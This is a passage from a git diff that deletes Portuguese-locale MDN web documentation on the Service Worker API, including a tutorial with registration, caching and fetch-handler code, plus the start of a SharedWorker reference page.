Installation is attempted when the downloaded file is found to be new — either different to an existing service worker (byte-wise compared), or the first service worker encountered for this page/site.

- -

If this is the first time a service worker has been made available, installation is attempted, then after a successful installation it is activated.

- -

If there is an existing service worker available, the new version is installed in the background, but not yet activated — at this point it is called the worker in waiting. It is only activated when there are no longer any pages loaded that are still using the old service worker. As soon as there are no more such pages still loaded, the new service worker activates (becoming the active worker).  Activation can happen sooner using {{domxref("ServiceWorkerGlobalScope.skipWaiting()")}} and existing pages can be claimed by the active worker using {{domxref("Clients.claim()")}}.

- -

You can listen out for the {{domxref("InstallEvent")}}; a standard action is to prepare your service worker for usage when this fires, for example by creating a cache using the built in storage API, and placing assets inside it that you'll want for running your app offline.

- -

There is also an activate event. The point where this event fires is generally a good time to clean up old caches and other things associated with the previous version of your service worker.

- -

Your service worker can respond to requests using the {{domxref("FetchEvent")}} event. You can modify the response to these requests in any way you want, using the {{domxref("FetchEvent.respondWith")}} method.

- -
-

Nota: Because oninstall/onactivate could take a while to complete, the service worker spec provides a waitUntil method that, when called oninstall or onactivate, passes a promise. Functional events are not dispatched to the service worker until the promise successfully resolves.

-
- -

Para um tutorial completo para mostrars como crair o seu primeiro exemplo básico, leia Utilização de Service Workers.

- -

Outras ideas de casos de utilização

- -

Service workers are also intended to be used for such things as:

- -
    -
  • Background data synchronization
  • -
  • Responding to resource requests from other origins
  • -
  • Receiving centralized updates to expensive-to-calculate data such as geolocation or gyroscope, so multiple pages can make use of one set of data
  • -
  • Client-side compiling and dependency management of CoffeeScript, less, CJS/AMD modules, etc. for dev purposes
  • -
  • Hooks for background services
  • -
  • Custom templating based on certain URL patterns
  • -
  • Performance enhancements, for example pre-fetching resources that the user is likely to need in the near future, such as the next few pictures in a photo album.
  • -
- -

In the future, service workers will be able to do a number of other useful things for the web platform that will bring it closer towards native app viability. Interestingly, other specifications can and will start to make use of the service worker context, for example:

- -
    -
  • Background synchronization: Start up a service worker even when no users are at the site, so caches can be updated, etc.
  • -
  • Reacting to push messages: Start up a service worker to send users a message to tell them new content is available.
  • -
  • Reacting to a particular time & date
  • -
  • Entering a geo-fence
  • -
- -

Interfaces

- -
-
{{domxref("Cache")}}
-
Represents the storage for {{domxref("Request")}} / {{domxref("Response")}} object pairs that are cached as part of the {{domxref("ServiceWorker")}} life cycle.
-
{{domxref("CacheStorage")}}
-
Represents the storage for {{domxref("Cache")}} objects. It provides a master directory of all the named caches that a {{domxref("ServiceWorker")}} can access and maintains a mapping of string names to corresponding {{domxref("Cache")}} objects.
-
{{domxref("Client")}}
-
Represents the scope of a service worker client. A service worker client is either a document in a browser context or a {{domxref("SharedWorker")}}, which is controlled by an active worker.
-
{{domxref("Clients")}}
-
Represents a container for a list of {{domxref("Client")}} objects; the main way to access the active service worker clients at the current origin.
-
{{domxref("ExtendableEvent")}}
-
Extends the lifetime of the install and activate events dispatched on the {{domxref("ServiceWorkerGlobalScope")}} as part of the service worker lifecycle. This ensures that any functional events (like {{domxref("FetchEvent")}} ) are not dispatched to the {{domxref("ServiceWorker")}} until it upgrades database schemas, deletes outdated cache entries, etc.
-
{{domxref("ExtendableMessageEvent")}}
-
The event object of a {{event("message_(ServiceWorker)","message")}} event fired on a service worker (when a channel message is received on the {{domxref("ServiceWorkerGlobalScope")}} from another context) — extends the lifetime of such events.
-
{{domxref("FetchEvent")}}
-
The parameter passed into the {{domxref("ServiceWorkerGlobalScope.onfetch")}} handler, FetchEvent represents a fetch action that is dispatched on the {{domxref("ServiceWorkerGlobalScope")}} of a {{domxref("ServiceWorker")}}. It contains information about the request and resulting response, and provides the {{domxref("FetchEvent.respondWith", "FetchEvent.respondWith()")}} method, which allows us to provide an arbitrary response back to the controlled page.
-
{{domxref("InstallEvent")}}
-
The parameter passed into the {{domxref("ServiceWorkerGlobalScope.oninstall", "oninstall")}} handler, the InstallEvent interface represents an install action that is dispatched on the {{domxref("ServiceWorkerGlobalScope")}} of a {{domxref("ServiceWorker")}}. As a child of {{domxref("ExtendableEvent")}}, it ensures that functional events such as {{domxref("FetchEvent")}} are not dispatched during installation. 
-
{{domxref("NavigationPreloadManager")}}
-
Provides methods for managing the preloading of resources with a service worker. 
-
{{domxref("Navigator.serviceWorker")}}
-
Returns a {{domxref("ServiceWorkerContainer")}} object, which provides access to registration, removal, upgrade, and communication with the {{domxref("ServiceWorker")}} objects for the associated document.
-
{{domxref("NotificationEvent")}}
-
The parameter passed into the {{domxref("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}} handler, the NotificationEvent interface represents a notification click event that is dispatched on the {{domxref("ServiceWorkerGlobalScope")}} of a {{domxref("ServiceWorker")}}.
-
{{domxref("ServiceWorker")}}
-
Represents a service worker. Multiple browsing contexts (e.g. pages, workers, etc.) can be associated with the same ServiceWorker object.
-
{{domxref("ServiceWorkerContainer")}}
-
Provides an object representing the service worker as an overall unit in the network ecosystem, including facilities to register, unregister and update service workers, and access the state of service workers and their registrations.
-
{{domxref("ServiceWorkerGlobalScope")}}
-
Represents the global execution context of a service worker.
-
{{domxref("ServiceWorkerMessageEvent")}} {{deprecated_inline}}
-
Represents a message sent to a {{domxref("ServiceWorkerGlobalScope")}}. Note that this interface is deprecated in modern browsers. Service worker messages will now use the {{domxref("MessageEvent")}} interface, for consistency with other web messaging features.
-
{{domxref("ServiceWorkerRegistration")}}
-
Represents a service worker registration.
-
{{domxref("ServiceWorkerState")}} {{experimental_inline}}
-
Associated with its ServiceWorker's state.
-
{{domxref("SyncEvent")}} {{non-standard_inline}}
-
-

The SyncEvent interface represents a sync action that is dispatched on the {{domxref("ServiceWorkerGlobalScope")}} of a ServiceWorker. 

-
-
{{domxref("SyncManager")}} {{non-standard_inline}}
-
Provides an interface for registering and listing sync registrations.
-
{{domxref("WindowClient")}}
-
Represents the scope of a service worker client that is a document in a browser context, controlled by an active worker. This is a special type of {{domxref("Client")}} object, with some additional methods and properties available.
-
- -

Especificações

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Service Workers')}}{{Spec2('Service Workers')}}Initial definition.
- -

Compatibilidade de navegador

- -
{{ CompatibilityTable() }}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40)}}{{CompatNo}}[1]{{ CompatGeckoDesktop("44.0") }}[2]{{ CompatNo() }}24{{ CompatNo() }}[3]
install/activate events{{ CompatChrome(40) }}{{CompatNo}}[1]{{ CompatGeckoDesktop("44.0") }}[2]{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}
fetch event/request/
- respondWith()
{{CompatChrome(40)}}{{CompatNo}}[1]{{ CompatGeckoDesktop("44.0") }}[2]{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
caches/cache -

{{CompatChrome(42)}}

-
{{CompatNo}}[1]{{ CompatGeckoDesktop("39.0") }}[2]{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
{{domxref("ServiceWorkerMessageEvent")}} deprecated in favour of {{domxref("MessageEvent")}} -

{{CompatChrome(57)}}

-
{{ CompatNo() }}{{ CompatGeckoDesktop("55.0") }}[2]{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
NavigationPreloadManager{{CompatChrome(59)}}{{ CompatNo() }}{{ CompatNo() }}{{CompatOpera(46)}}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{CompatChrome(40)}}{{CompatNo}}[1]{{ CompatGeckoMobile("44.0") }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}[3]
 install/activate events{{ CompatNo() }}{{CompatChrome(40)}}{{CompatNo}}[1]{{ CompatGeckoMobile("44.0") }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}
fetch event/request/
- respondWith()
{{ CompatNo() }}{{CompatChrome(40)}}{{CompatNo}}[1]{{ CompatGeckoMobile("44.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
caches/cache{{ CompatNo() }}{{CompatChrome(40)}}{{CompatNo}}[1]{{ CompatGeckoMobile("39.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
{{domxref("ServiceWorkerMessageEvent")}} deprecated in favour of {{domxref("MessageEvent")}}{{ CompatNo() }} -

{{CompatChrome(57)}}

-
{{ CompatNo() }}{{ CompatGeckoMobile("55.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
NavigationPreloadManager{{ CompatNo() }}{{CompatChrome(59)}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{CompatOperaMobile(46)}}{{ CompatNo() }}
-
- -

[1] This feature is not supported yet, though it's already in development.

- -

[2] Service workers (and Push) have been disabled in the Firefox 45 & 52 Extended Support Releases (ESR.)

- -

[3] This feature is not supported yet, though it's currently in development.

- -

Consulte também:

- - diff --git a/files/pt-pt/web/api/service_worker_api/using_service_workers/index.html b/files/pt-pt/web/api/service_worker_api/using_service_workers/index.html deleted file mode 100644 index bce8c7d4f1..0000000000 --- a/files/pt-pt/web/api/service_worker_api/using_service_workers/index.html +++ /dev/null @@ -1,459 +0,0 @@ ---- -title: Utilização de "Service Workers" -slug: Web/API/Service_Worker_API/Using_Service_Workers -tags: - - Guía - - ServiceWorker - - Serviço - - Workers - - básicos -translation_of: Web/API/Service_Worker_API/Using_Service_Workers ---- -

{{ServiceWorkerSidebar}}

- -
-

This article provides information on getting started with service workers, including basic architecture, registering a service worker, the install and activation process for a new service worker, updating your service worker, cache control and custom responses, all in the context of a simple app with offline functionality. 

-
- -

The premise of service workers

- -

One overriding problem that web users have suffered with for years is loss of connectivity. The best web app in the world will provide a terrible user experience if you can’t download it. There have been various attempts to create technologies to solve this problem, as our Offline page shows, and some of the issues have been solved. But the overriding problem is that there still isn’t a good overall control mechanism for asset caching and custom network requests.
-
- The previous attempt — AppCache — seemed to be a good idea because it allowed you to specify assets to cache really easily. However, it made many assumptions about what you were trying to do and then broke horribly when your app didn’t follow those assumptions exactly. Read Jake Archibald's (unfortunately-titled but well-written) Application Cache is a Douchebag for more details.

- -
-

Nota: As of Firefox 44, when AppCache is used to provide offline support for a page a warning message is now displayed in the console advising developers to use Service workers instead ({{bug("1204581")}}.)

-
- -

Service workers should finally fix these issues. Service worker syntax is more complex than that of AppCache, but the trade off is that you can use JavaScript to control your AppCache-implied behaviors with a fine degree of granularity, allowing you to handle this problem and many more. Using a Service worker you can easily set an app up to use cached assets first, thus providing a default experience even when offline, before then getting more data from the network (commonly known as Offline First). This is already available with native apps, which is one of the main reasons native apps are often chosen over web apps.

- -

Setting up to play with service workers

- -

Many service workers features are now enabled by default in newer versions of supporting browsers. If however you find that demo code is not working in your installed versions, you might need to enable a pref:

- -
    -
  • Firefox Nightly: Go to about:config and set dom.serviceWorkers.enabled to true; restart browser.
  • -
  • Chrome Canary: Go to chrome://flags and turn on experimental-web-platform-features; restart browser (note that some features are now enabled by default in Chrome.)
  • -
  • Opera: Go to opera://flags and enable Support for ServiceWorker; restart browser.
  • -
  • Microsoft Edge: Go to about:flags and tick Enable service workers; restart browser.
  • -
- -

You’ll also need to serve your code via HTTPS — Service workers are restricted to running across HTTPS for security reasons. GitHub is therefore a good place to host experiments, as it supports HTTPS. In order to facilitate local development, localhost is considered a secure origin by browsers as well.

- -

Basic architecture

- -

With service workers, the following steps are generally observed for basic set up:

- -
    -
  1. The service worker URL is fetched and registered via {{domxref("serviceWorkerContainer.register()")}}.
  2. -
  3. If successful, the service worker is executed in a {{domxref("ServiceWorkerGlobalScope") }}; this is basically a special kind of worker context, running off the main script execution thread, with no DOM access.
  4. -
  5. The service worker is now ready to process events.
  6. -
  7. Installation of the worker is attempted when service worker-controlled pages are accessed subsequently. An Install event is always the first one sent to a service worker (this can be used to start the process of populating an IndexedDB, and caching site assets). This is really the same kind of procedure as installing a native or Firefox OS app — making everything available for use offline.
  8. -
  9. When the oninstall handler completes, the service worker is considered installed.
  10. -
  11. Next is activation. When the service worker is installed, it then receives an activate event. The primary use of onactivate is for cleanup of resources used in previous versions of a Service worker script.
  12. -
  13. The Service worker will now control pages, but only those opened after the register() is successful. i.e. a document starts life with or without a Service worker and maintains that for its lifetime. So documents will have to be reloaded to actually be controlled.
  14. -
- -

- -

The below graphic shows a summary of the available service worker events:

- -

install, activate, message, fetch, sync, push

- -

Promises

- -

Promises are a great mechanism for running async operations, with success dependant on one another. This is central to the way service workers work.
-
- Promises can do a variety of things, but all you need to know for now is that if something returns a promise, you can attach .then() to the end and include callbacks inside it for success cases, or you can insert .catch() on the end if you want to include a failure callback.

- -

Let’s compare a traditional synchronous callback structure to its asynchronous promise equivalent.

- -

sync

- -
try {
-  const value = myFunction();
-  console.log(value);
-} catch(err) {
-  console.log(err);
-}
- -

async

- -
myFunction().then((value) => {
-  console.log(value);
-}).catch((err) => {
-  console.log(err);
-});
- -

In the first example, we have to wait for myFunction() to run and return value before any more of the code can execute. In the second example, myFunction() returns a promise for value, then the rest of the code can carry on running. When the promise resolves, the code inside then will be run, asynchronously.
-
- Now for a real example — what if we wanted to load images dynamically, but we wanted to make sure the images were loaded before we tried to display them? This is a standard thing to want to do, but it can be a bit of a pain. We can use .onload to only display the image after it’s loaded, but what about events that start happening before we start listening to them? We could try to work around this using .complete, but it’s still not foolproof, and what about multiple images? And, ummm, it’s still synchronous, so blocks the main thread.
-
- Instead, we could build our own promise to handle this kind of case. (See our Promises test example for the source code, or look at it running live.)

- -

{{note("A real service worker implementation would use caching and onfetch rather than the deprecated XMLHttpRequest API. Those features are not used here so that you can focus on understanding Promises.")}}

- -
const imgLoad = (url) => {
-  return new Promise((resolve, reject) => {
-    var request = new XMLHttpRequest();
-    request.open('GET', url);
-    request.responseType = 'blob';
-
-    request.onload = () => {
-      if (request.status == 200) {
-        resolve(request.response);
-      } else {
-        reject(Error('Image didn\'t load successfully; error code:' + request.statusText));
-      }
-    };
-
-    request.onerror = () => {
-      reject(Error('There was a network error.'));
-    };
-
-    request.send();
-  });
-}
- -

We return a new promise using the Promise() constructor, which takes as an argument a callback function with resolve and reject parameters. Somewhere in the function, we need to define what happens for the promise to resolve successfully or be rejected — in this case return a 200 OK status or not — and then call resolve on success, or reject on failure. The rest of the contents of this function is fairly standard XHR stuff, so we won’t worry about that for now.

- -

When we come to call the imgLoad() function, we call it with the url to the image we want to load, as we might expect, but the rest of the code is a little different:

- -
let body = document.querySelector('body');
-let myImage = new Image();
-
-imgLoad('myLittleVader.jpg').then((response) => {
-  var imageURL = window.URL.createObjectURL(response);
-  myImage.src = imageURL;
-  body.appendChild(myImage);
-}, (Error) => {
-  console.log(Error);
-});
- -

On to the end of the function call, we chain the promise then() method, which contains two functions — the first one is executed when the promise successfully resolves, and the second is called when the promise is rejected. In the resolved case, we display the image inside myImage and append it to the body (it’s argument is the request.response contained inside the promise’s resolve method); in the rejected case we return an error to the console.

- -

This all happens asynchronously.

- -
-

Note: You can also chain promise calls together, for example:
- myPromise().then(success, failure).then(success).catch(failure);

-
- -
-

Note: You can find a lot more out about promises by reading Jake Archibald’s excellent JavaScript Promises: there and back again.

-
- -

Service workers demo

- -

To demonstrate just the very basics of registering and installing a service worker, we have created a simple demo called sw-test, which is a simple Star wars Lego image gallery. It uses a promise-powered function to read image data from a JSON object and load the images using Ajax, before displaying the images in a line down the page. We’ve kept things static and simple for now. It also registers, installs, and activates a service worker, and when more of the spec is supported by browsers it will cache all the files required so it will work offline!

- -


-
-
- You can see the source code on GitHub, and view the example live. The one bit we’ll call out here is the promise (see app.js lines 22-47), which is a modified version of what you read about above, in the Promises test demo. It is different in the following ways:

- -
    -
  1. In the original, we only passed in a URL to an image we wanted to load. In this version, we pass in a JSON fragment containing all the data for a single image (see what they look like in image-list.js). This is because all the data for each promise resolve has to be passed in with the promise, as it is asynchronous. If you just passed in the url, and then tried to access the other items in the JSON separately when the for() loop is being iterated through later on, it wouldn’t work, as the promise wouldn’t resolve at the same time as the iterations are being done (that is a synchronous process.)
  2. -
  3. We actually resolve the promise with an array, as we want to make the loaded image blob available to the resolving function later on in the code, but also the image name, credits and alt text (see app.js lines 31-34). Promises will only resolve with a single argument, so if you want to resolve with multiple values, you need to use an array/object.
  4. -
  5. To access the resolved promise values, we then access this function as you’d then expect (see app.js lines 60-64). This may seem a bit odd at first, but this is the way promises work.
  6. -
- -

Enter service workers

- -

NOTE : We're using the es6 arrow functions syntax in the Service Worker Implementation

- -

Now let’s get on to service workers!

- -

Registering your worker

- -

The first block of code in our app’s JavaScript file — app.js — is as follows. This is our entry point into using service workers.

- -
if ('serviceWorker' in navigator) {
-  navigator.serviceWorker.register('./sw-test/sw.js', {scope: './sw-test/'})
-  .then((reg) => {
-    // registration worked
-    console.log('Registration succeeded. Scope is ' + reg.scope);
-  }).catch((error) => {
-    // registration failed
-    console.log('Registration failed with ' + error);
-  });
-}
- -
    -
  1. The outer block performs a feature detection test to make sure service workers are supported before trying to register one.
  2. -
  3. Next, we use the {{domxref("ServiceWorkerContainer.register()") }} function to register the service worker for this site, which is just a JavaScript file residing inside our app (note this is the file's URL relative to the origin, not the JS file that references it.)
  4. -
  5. The scope parameter is optional, and can be used to specify the subset of your content that you want the service worker to control. In this case, we have specified '/sw-test/', which means all content under the app's origin. If you leave it out, it will default to this value anyway, but we specified it here for illustration purposes.
  6. -
  7. The .then() promise function is used to chain a success case onto our promise structure.  When the promise resolves successfully, the code inside it executes.
  8. -
  9. Finally, we chain a .catch() function onto the end that will run if the promise is rejected.
  10. -
- -

This registers a service worker, which runs in a worker context, and therefore has no DOM access. You then run code in the service worker outside of your normal pages to control their loading.
-
- A single service worker can control many pages. Each time a page within your scope is loaded, the service worker is installed against that page and operates on it. Bear in mind therefore that you need to be careful with global variables in the service worker script: each page doesn’t get its own unique worker.

- -
-

Note: Your service worker functions like a proxy server, allowing you to modify requests and responses, replace them with items from its own cache, and more.

-
- -
-

Note: One great thing about service workers is that if you use feature detection like we’ve shown above, browsers that don’t support service workers can just use your app online in the normal expected fashion. Furthermore, if you use AppCache and SW on a page, browsers that don’t support SW but do support AppCache will use that, and browsers that support both will ignore the AppCache and let SW take over.

-
- -

Why is my service worker failing to register?

- -

This could be for the following reasons:

- -
    -
  1. You are not running your application through HTTPS.
  2. -
  3. The path to your service worker file is not written correctly — it needs to be written relative to the origin, not your app’s root directory. In our example, the worker is at https://mdn.github.io/sw-test/sw.js, and the app’s root is https://mdn.github.io/sw-test/. But the path needs to be written as /sw-test/sw.js, not /sw.js.
  4. -
  5. The service worker being pointed to is on a different origin to that of your app. This is also not allowed.
  6. -
- -

- -

Also note:

- -
    -
  • The service worker will only catch requests from clients under the service worker's scope.
  • -
  • The max scope for a service worker is the location of the worker.
  • -
  • If your service worker is active on a client being served with the Service-Worker-Allowed header, you can specify a list of max scopes for that worker.
  • -
  • In Firefox, Service Worker APIs are hidden and cannot be used when the user is in private browsing mode.
  • -
- -

Install and activate: populating your cache

- -

After your service worker is registered, the browser will attempt to install then activate the service worker for your page/site.
-
- The install event is fired when an install is successfully completed. The install event is generally used to populate your browser’s offline caching capabilities with the assets you need to run your app offline. To do this, we use Service Worker’s brand new storage API — {{domxref("cache")}} — a global object on the service worker that allows us to store assets delivered by responses, and keyed by their requests. This API works in a similar way to the browser’s standard cache, but it is specific to your domain. It persists until you tell it not to — again, you have full control.

- -
-

Note: The Cache API is not supported in every browser. (See the {{anch("Browser compatibility")}} section for more information.) If you want to use this now, you could consider using a polyfill like the one available in Google's Topeka demo, or perhaps store your assets in IndexedDB.

-
- -

Let’s start this section by looking at a code sample — this is the first block you’ll find in our service worker:

- -
self.addEventListener('install', (event) => {
-  event.waitUntil(
-    caches.open('v1').then((cache) => {
-      return cache.addAll([
-        './sw-test/',
-        './sw-test/index.html',
-        './sw-test/style.css',
-        './sw-test/app.js',
-        './sw-test/image-list.js',
-        './sw-test/star-wars-logo.jpg',
-        './sw-test/gallery/',
-        './sw-test/gallery/bountyHunters.jpg',
-        './sw-test/gallery/myLittleVader.jpg',
-        './sw-test/gallery/snowTroopers.jpg'
-      ]);
-    })
-  );
-});
- -
    -
  1. Here we add an install event listener to the service worker (hence self), and then chain a {{domxref("ExtendableEvent.waitUntil()") }} method onto the event — this ensures that the service worker will not install until the code inside waitUntil() has successfully occurred.
  2. -
  3. Inside waitUntil() we use the caches.open() method to create a new cache called v1, which will be version 1 of our site resources cache. This returns a promise for a created cache; once resolved, we then call a function that calls addAll() on the created cache, which for its parameter takes an array of origin-relative URLs to all the resources you want to cache.
  4. -
  5. If the promise is rejected, the install fails, and the worker won’t do anything. This is ok, as you can fix your code and then try again the next time registration occurs.
  6. -
  7. After a successful installation, the service worker activates. This doesn’t have much of a distinct use the first time your service worker is installed/activated, but it means more when the service worker is updated (see the {{anch("Updating your service worker") }} section later on.)
  8. -
- -
-

Note: localStorage works in a similar way to service worker cache, but it is synchronous, so not allowed in service workers.

-
- -
-

Note: IndexedDB can be used inside a service worker for data storage if you require it.

-
- -

Custom responses to requests

- -

Now you’ve got your site assets cached, you need to tell service workers to do something with the cached content. This is easily done with the fetch event.

- -

- -

A fetch event fires every time any resource controlled by a service worker is fetched, which includes the documents inside the specified scope, and any resources referenced in those documents (for example if index.html makes a cross origin request to embed an image, that still goes through its service worker.)

- -

You can attach a fetch event listener to the service worker, then call the respondWith() method on the event to hijack our HTTP responses and update them with your own magic.

- -
self.addEventListener('fetch', (event) => {
-  event.respondWith(
-    // magic goes here
-  );
-});
- -

We could start by simply responding with the resource whose url matches that of the network request, in each case:

- -
self.addEventListener('fetch', (event) => {
-  event.respondWith(
-    caches.match(event.request)
-  );
-});
- -

caches.match(event.request) allows us to match each resource requested from the network with the equivalent resource available in the cache, if there is a matching one available. The matching is done via url and vary headers, just like with normal HTTP requests.

- -

Let’s look at a few other options we have when defining our magic (see our Fetch API documentation for more information about {{domxref("Request")}} and {{domxref("Response")}} objects.)

- -
    -
  1. -

    The {{domxref("Response.Response","Response()")}} constructor allows you to create a custom response. In this case, we are just returning a simple text string:

    - -
    new Response('Hello from your friendly neighbourhood service worker!');
    -
  2. -
  3. -

    This more complex Response below shows that you can optionally pass a set of headers in with your response, emulating standard HTTP response headers. Here we are just telling the browser what the content type of our synthetic response is:

    - -
    new Response('<p>Hello from your friendly neighbourhood service worker!</p>', {
    -  headers: { 'Content-Type': 'text/html' }
    -});
    -
  4. -
  5. -

    If a match wasn’t found in the cache, you could tell the browser to simply {{domxref("GlobalFetch.fetch","fetch")}} the default network request for that resource, to get the new resource from the network if it is available:

    - -
    fetch(event.request);
    -
  6. -
  7. -

    If a match wasn’t found in the cache, and the network isn’t available, you could just match the request with some kind of default fallback page as a response using {{domxref("CacheStorage.match","match()")}}, like this:

    - -
    caches.match('./fallback.html');
    -
  8. -
  9. -

    You can retrieve a lot of information about each request by calling parameters of the {{domxref("Request")}} object returned by the {{domxref("FetchEvent")}}:

    - -
    event.request.url
    -event.request.method
    -event.request.headers
    -event.request.body
    -
  10. -
- -

Recovering failed requests

- -

So caches.match(event.request) is great when there is a match in the service worker cache, but what about cases when there isn’t a match? If we didn’t provide any kind of failure handling, our promise would resolve with undefined and we wouldn't get anything returned.

- -

Fortunately service workers’ promise-based structure makes it trivial to provide further options towards success. We could do this:

- -
self.addEventListener('fetch', (event) => {
-  event.respondWith(
-    caches.match(event.request).then((response) => {
-      return response || fetch(event.request);
-    })
-  );
-});
- -

If the resources aren't in the cache, they are requested from the network.

- -

If we were being really clever, we would not only request the resource from the network; we would also save it into the cache so that later requests for that resource could be retrieved offline too! This would mean that if extra images were added to the Star Wars gallery, our app could automatically grab them and cache them. The following would do the trick:

- -
self.addEventListener('fetch', (event) => {
-  event.respondWith(
-    caches.match(event.request).then((resp) => {
-      return resp || fetch(event.request).then((response) => {
-        return caches.open('v1').then((cache) => {
-          cache.put(event.request, response.clone());
-          return response;
-        });
-      });
-    })
-  );
-});
- -

Here we return the default network request with return fetch(event.request), which returns a promise. When this promise is resolved, we respond by running a function that grabs our cache using caches.open('v1'); this also returns a promise. When that promise resolves, cache.put() is used to add the resource to the cache. The resource is grabbed from event.request, and the response is then cloned with response.clone() and added to the cache. The clone is put in the cache, and the original response is returned to the browser to be given to the page that called it.

- -

Cloning the response is necessary because request and response streams can only be read once.  In order to return the response to the browser and put it in the cache we have to clone it. So the original gets returned to the browser and the clone gets sent to the cache.  They are each read once.

- -

The only trouble we have now is that if the request doesn’t match anything in the cache, and the network is not available, our request will still fail. Let’s provide a default fallback so that whatever happens, the user will at least get something:

- -
self.addEventListener('fetch', (event) => {
-  event.respondWith(
-    caches.match(event.request).then((resp) => {
-      return resp || fetch(event.request).then((response) => {
-        let responseClone = response.clone();
-        caches.open('v1').then((cache) => {
-          cache.put(event.request, responseClone);
-        });
-
-        return response;
-      });
-    }).catch(() => {
-      return caches.match('./sw-test/gallery/myLittleVader.jpg');
-    })
-  );
-});
- -

We have opted for this fallback image because the only updates that are likely to fail are new images, as everything else is depended on for installation in the install event listener we saw earlier.

- -

Updating your service worker

- -

If your service worker has previously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the background, but not yet activated. It is only activated when there are no longer any pages loaded that are still using the old service worker. As soon as there are no more such pages still loaded, the new service worker activates.

- -

You’ll want to update your install event listener in the new service worker to something like this (notice the new version number):

- -
self.addEventListener('install', (event) => {
-  event.waitUntil(
-    caches.open('v2').then((cache) => {
-      return cache.addAll([
-        './sw-test/',
-        './sw-test/index.html',
-        './sw-test/style.css',
-        './sw-test/app.js',
-        './sw-test/image-list.js',
-
-        …
-
-        // include other new resources for the new version...
-      ]);
-    })
-  );
-});
- -

While this happens, the previous version is still responsible for fetches. The new version is installing in the background. We are calling the new cache v2, so the previous v1 cache isn't disturbed.

- -

When no pages are using the current version, the new worker activates and becomes responsible for fetches.

- -

Deleting old caches

- -

You also get an activate event. This is a generally used to do stuff that would have broken the previous version while it was still running, for example getting rid of old caches. This is also useful for removing data that is no longer needed to avoid filling up too much disk space — each browser has a hard limit on the amount of cache storage that a given service worker can use. The browser does its best to manage disk space, but it may delete the Cache storage for an origin.  The browser will generally delete all of the data for an origin or none of the data for an origin.

- -

Promises passed into waitUntil() will block other events until completion, so you can rest assured that your clean-up operation will have completed by the time you get your first fetch event on the new cache.

- -
self.addEventListener('activate', (event) => {
-  var cacheKeeplist = ['v2'];
-
-  event.waitUntil(
-    caches.keys().then((keyList) => {
-      return Promise.all(keyList.map((key) => {
-        if (cacheKeeplist.indexOf(key) === -1) {
-          return caches.delete(key);
-        }
-      }));
-    })
-  );
-});
- -

Developer tools

- -

Chrome has chrome://inspect/#service-workers, which shows current service worker activity and storage on a device, and chrome://serviceworker-internals, which shows more detail and allows you to start/stop/debug the worker process. In the future they will have throttling/offline modes to simulate bad or non-existent connections, which will be a really good thing.

- -

Firefox has also started to implement some useful tools related to service workers:

- -
    -
  • You can navigate to about:debugging to see what SWs are registered and update/remove them.
  • -
  • When testing you can get around the HTTPS restriction by checking the "Enable Service Workers over HTTP (when toolbox is open)" option in the Firefox Developer Tools settings.
  • -
  • The "Forget" button, available in Firefox's customization options, can be used to clear service workers and their caches ({{bug(1252998)}}).
  • -
- -
-

Note: You may serve your app from http://localhost (e.g. using me@localhost:/my/app$ python -m SimpleHTTPServer) for local development. See Security considerations

-
- -

See also

- - diff --git a/files/pt-pt/web/api/sharedworker/index.html b/files/pt-pt/web/api/sharedworker/index.html deleted file mode 100644 index bf476434fb..0000000000 --- a/files/pt-pt/web/api/sharedworker/index.html +++ /dev/null @@ -1,200 +0,0 @@ ---- -title: SharedWorker -slug: Web/API/SharedWorker -tags: - - API - - Interface - - Referencia - - SharedWorker - - Web Workers - - Workers -translation_of: Web/API/SharedWorker ---- -
{{APIRef("Web Workers API")}}
- -

A interface SharedWorker representa um tipo de worker específico que pode ser acedido  a partir de vários contextos de navegação, tais como várias janelas, iframes ou até workers. Eles implementam uma interface diferente do que os workers dedicados e têm um âmbito global diferente, {{domxref("SharedWorkerGlobalScope")}}.

- -
-

Nota:  Se o SharedWorker puder ser acedido a partir de vários contextos de navegação, todos esses contextos de navegação devem partilhar exatamente a mesma origem (mesmo protocolo, anfitrião e porto).

-
- -

Construtor

- -
-
{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}
-
Cria um web worker partilhado que executa uma script na URL indicada.
-
- -

Propriedades

- -

Esta interface também herda propriedades de {{domxref("EventTarget")}} de qual se deriva, e implementa propriedades de {{domxref("AbstractWorker")}}.

- -
-
{{domxref("AbstractWorker.onerror")}}
-
É um {{domxref("EventListener")}} chamado quando um {{domxref("ErrorEvent")}} do tipo error sai do worker.
-
{{domxref("SharedWorker.port")}} {{readonlyInline}}
-
Devolve um objeto {{domxref("MessagePort")}} usado para controlar e comunicar com o worker partilhado.
-
- -
-
- -

Métodos

- -

Esta interface também herda métodos de {{domxref("EventTarget")}} de qual se deriva, e implementa métodos de {{domxref("AbstractWorker")}}.

- -

Exemplo

- -

No nosso exemplo básico dum worker partilhado, temos duas páginas de HTML, cada qual usa JavaScript para fazer um simples cálculo. Os scripts diferentes estão a utilizar o mesmo ficheiro de worker para fazer os cálculos — ambos podem-no aceder, mesmo se as páginas estiverem a correr em janelas diferentes.

- -

